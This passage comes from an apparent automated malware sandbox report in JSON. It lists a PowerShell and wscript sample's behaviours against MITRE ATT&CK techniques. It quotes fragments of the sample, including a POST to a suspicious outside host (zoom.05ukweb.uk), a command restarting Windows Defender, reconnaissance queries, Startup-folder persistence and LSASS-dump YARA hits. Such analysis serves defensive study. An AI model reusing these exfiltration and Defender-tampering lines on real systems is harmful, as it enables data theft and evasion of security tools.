\"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-316","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to terminate a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetFileTimeW\" (Indicator: \"GetFileTime\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp\")\n Found reference to API \"GetFileTimeW\" (Indicator: \"GetFileTime\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp\")","id":"string-249","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to retrieve file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-206","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to retrieve the command-line string for the current process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Antivirus vendors marked dropped file \"onedrive.lnk\" as clean (type is \"MS Windows shortcut Item id list present Has Relative path Has command line arguments Unicoded KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7 length=0 window=normal IDListSize 0x0141 Root folder \"20D04FE0-3AEA-1069-A2D8-08002B30309D\" Volume \"C:\\\"\")","id":"binary-16","level":"informative","name":"Drops files marked as clean","origin":"Binary File","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8QJI8J4JJB1PCN9I2I1.temp\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF3cb6d8.TMP\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","id":"api-55","level":"informative","mitre_attack_id":"T1083","name":"Touches files in the Windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"$3e","id":"string-457","level":"informative","mitre_attack_id":"T1071.001","name":"Found string related to HTTP headers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CopyFile\" (Indicator: \"CopyFile\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp\")\n Found reference to API \"CopyFile\" (Indicator: \"CopyFile\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp\")","id":"string-449","level":"informative","mitre_attack_id":"T1005","name":"Contains ability to copy files (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"hReq.Open \"POST\", ul, false\" (Indicator: \".Open \"POST\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp\")\n Found string \"hReq.Open \"POST\", ul, false\" (Indicator: \".Open \"POST\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp\")","id":"string-482","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to post data to a web server","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"Win32API|GetComputerNameEx|ComputerNameDnsHostname\" (Indicator: \"GetComputerName\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found reference to API \"Win32API|GetComputerNameEx|ComputerNameDnsHostname\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")","id":"string-122","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","id":"string-395","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to set/modify configuration (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$3f","id":"api-233","level":"informative","mitre_attack_id":"T1486","name":"Calls an API typically used to import cryptographic keys into a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$40","id":"string-170","level":"informative","name":"Possibly uses system binaries (Windows LOLbins)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"file/memory contains long string with (Indicator: \"Invoke-WebRequest\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found string \"$response = Invoke-WebRequest -Uri \"https://zoom.05ukweb.uk/ft?topic=s\" -Method POST -Body $Body -UseBasicParsing\" (Indicator: \"Invoke-WebRequest\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")","id":"string-282","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to get content from a webpage (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$41","id":"string-55","level":"suspicious","mitre_attack_id":"T1047","name":"Found a reference to a WMI query string known to be used for VM detection","origin":"File/Memory","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$42","id":"string-989","level":"informative","mitre_attack_id":"T1497","name":"Able to detect virtual machine (string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","id":"api-173","level":"informative","mitre_attack_id":"T1083","name":"Tries to access Powershell profile file","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"SELECT * FROM Win32_Processor\" (Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, Indicator: \"select * from win32_processor\")","id":"string-16","level":"informative","mitre_attack_id":"T1213","name":"Contains SQL queries","origin":"File/Memory","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-168","level":"informative","mitre_attack_id":"T1134.002","name":"Contains ability to create process with token (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$43","id":"string-666","level":"informative","mitre_attack_id":"T1497","name":"Able to identify sandbox environment running process","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00006036-00000C2C-2958117540\")","id":"string-739","level":"informative","mitre_attack_id":"T1082","name":"Able to retrieve geographical location information","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","id":"network-55","level":"informative","name":"JA3 SSL client fingerprint","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Found HTTPS url \"https://zoom.05ukweb.uk\"","id":"string-98","level":"informative","mitre_attack_id":"T1573","name":"Possibly tries to communicate over SSL connection (HTTPS)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"details too long to display","id":"network-4","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a web server","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"details too long to display","id":"network-57","level":"malicious","mitre_attack_id":"T1041","name":"Observed system process names in POST request","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$44","id":"string-513","level":"informative","mitre_attack_id":"T1057","name":"References to WMI query strings used for process discovery","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"set adapItems=ObjWMI.ExecQuery(\"SELECT * FROM Win32_NetworkAdapterConfiguration\",,48)\" (Indicator: \" Win32_NetworkAdapter\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp\")\n Found string \"set adapItems=ObjWMI.ExecQuery(\"SELECT * FROM Win32_NetworkAdapterConfiguration\",,48)\" (Indicator: \" Win32_NetworkAdapter\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp\")","id":"string-515","level":"informative","mitre_attack_id":"T1082","name":"References to WMI query strings used to retrieve network adapter information","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$45","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"wscript.exe\" deletes \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\onedrive.lnk","id":"api-299","level":"suspicious","mitre_attack_id":"T1070.009","name":"Removes an item from the Startup folder","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$46","id":"string-101","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute Windows APIs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"The input sample is signed with a certificate issued by \"CN=R12, O=Let's Encrypt, C=US\" (SHA1: 18:BA:9D:78:4A:59:ED:F1:98:7C:EA:11:5F:A3:6D:18:ED:98:25:7A; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: EE:44:78:28:35:D8:FB:31:39:4D:A5:CE:B8:40:DC:93:84:9B:CF:5A; see report for more information)","id":"certificate-0","level":"informative","mitre_attack_id":"T1553.002","name":"The input sample is signed with a certificate","origin":"Certificate Data","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"$47","id":"network-62","level":"informative","mitre_attack_id":"T1071.001","name":"Communicates with HTTP web server (GET/POST requests)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$48","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API typically used for searching a directory for files","origin":"API Call","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"$49","id":"string-474","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to access device drivers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature \"mimikatz_lsass_mdmp\" matched process \"00000000-00005276\" as \"LSASS minidump file for mimikatz\" (Author: Benjamin DELPY (gentilkiwi))\n YARA signature \"mimikatz_lsass_mdmp\" matched process \"00000000-00003076\" as \"LSASS minidump file for mimikatz\" (Author: Benjamin DELPY (gentilkiwi))","id":"yara-0","level":"malicious","name":"YARA signature match","origin":"YARA Signature","relevance":9,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","id":"registry-47","level":"informative","mitre_attack_id":"T1005","name":"Queries the display settings of system associated file extensions","origin":"Registry Access","relevance":7,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" called \"OpenServiceW\" to access the \"Windefend\" service (\"Windows Defender\") requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"powershell.exe\" called \"OpenServiceW\" to access the \"Windefend\" service (\"Windows Defender\") requesting \"SERVICE_ENUMERATE_DEPENDENTS\" (0X8) access rights\n \"powershell.exe\" called \"OpenServiceW\" to access the \"Windefend\" service (\"Windows Defender\") requesting \"SERVICE_STOP\" (0X20) access rights","id":"api-79","level":"suspicious","mitre_attack_id":"T1007","name":"Requested access to a critical system service","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Process \"powershell.exe\" with commandline \"-f \"C:\\\\7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin.ps1\"\" (UID: 00000000-00006036)","id":"target-401","level":"informative","mitre_attack_id":"T1059.001","name":"Executes a PowerShell script","origin":"Monitored Target","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-141","level":"informative","mitre_attack_id":"T1010","name":"Contains ability to retrieve open application windows (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","id":"registry-13","level":"informative","mitre_attack_id":"T1082","name":"Reads the windows installation date","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"Antivirus\" (Indicator: \"antivirus\") in Source: screen_3.png","id":"string-8","level":"informative","mitre_attack_id":"T1518.001","name":"Possibly checks for the presence of an Antivirus engine","origin":"File/Memory","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"$4a","id":"network-66","level":"informative","mitre_attack_id":"T1071.001","name":"Sends GET/POST requests (HTTPS)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for detecting PowerShell file matched on file \"sample.bin\"","id":"yara-36","level":"informative","mitre_attack_id":"T1059.001","name":"YARA signature match - PowerShell file content","origin":"YARA Signature","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"Restart-Service\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found string \"Restart-Service -Name Windefend -Force\" (Indicator: \"Restart-Service\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found string \"Restart-Service\" (Indicator: \"Restart-Service\"; File: \"screen_3.png\")","id":"string-379","level":"informative","mitre_attack_id":"T1569.002","name":"Contains ability to restart services (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$4b","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows file paths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"$4c","id":"memorydump-2","level":"informative","mitre_attack_id":"T1071","name":"Found potential URLs in memory dumps","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$4d","id":"string-83","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files on disk (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006036)","id":"api-141","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve computer name","origin":"API Call","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"Win32API|System Information Functions|GetUserName\" (Indicator: \"GetUserName\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"Win32API|System Information Functions|GetUserName\" (Indicator: \"GetUserName\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Contains ability to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$4e","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Able to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134180764564347005.6036.DefaultAppDomain.powershell\" - (UID: 00000000-00006036)","id":"api-138","level":"informative","mitre_attack_id":"T1570","name":"Calls an API typically used to create an instance of a named pipe","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 6036)","id":"api-235","level":"informative","mitre_attack_id":"T1057","name":"Queries basic information of the specified process","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006036-00000C2C-2952974841\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006036-00000C2C-2952975287\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006036-00000C2C-2954924140\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006036-00000C2C-2954924173\")","id":"string-908","level":"informative","mitre_attack_id":"T1033","name":"Able to query security token membership for user discovery (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6036\" - (UID: 00000000-00006036)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$4f","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$50","id":"registry-72","level":"informative","mitre_attack_id":"T1546.015","name":"Overview of unique CLSIDs touched in registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-114","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Process \"powershell.exe\" executed suspicious script","id":"amsi-0","level":"informative","mitre_attack_id":"T1059","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","origin":"Windows Antimalware Scan Interface","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"wscript.exe\" obfuscates its traffic by mimicking legitimate API call","id":"api-289","level":"informative","mitre_attack_id":"T1497","name":"Triggers a burst of requests to the same API (API Hammering)","origin":"API Call","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006036)","id":"api-296","level":"informative","mitre_attack_id":"T1497","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","id":"registry-1","level":"informative","mitre_attack_id":"T1082","name":"Reads the cryptographic machine GUID","origin":"Registry Access","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$51","id":"api-6","level":"suspicious","mitre_attack_id":"T1083","name":"Reads configuration files (.ini files)","origin":"API Call","relevance":4,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp\")","id":"string-138","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to use Cryptographic classes","origin":"File/Memory","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$52","id":"registry-130","level":"informative","mitre_attack_id":"T1012","name":"Queries TCP/IP interface details","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, Indicator: \"key.com\")\n \".getmicrosoftkey.com1&0\" (Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp, Indicator: \"key.com\")","id":"string-23","level":"informative","name":"Detected known bank URL artifact","origin":"File/Memory","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$53","id":"string-226","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$54","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network 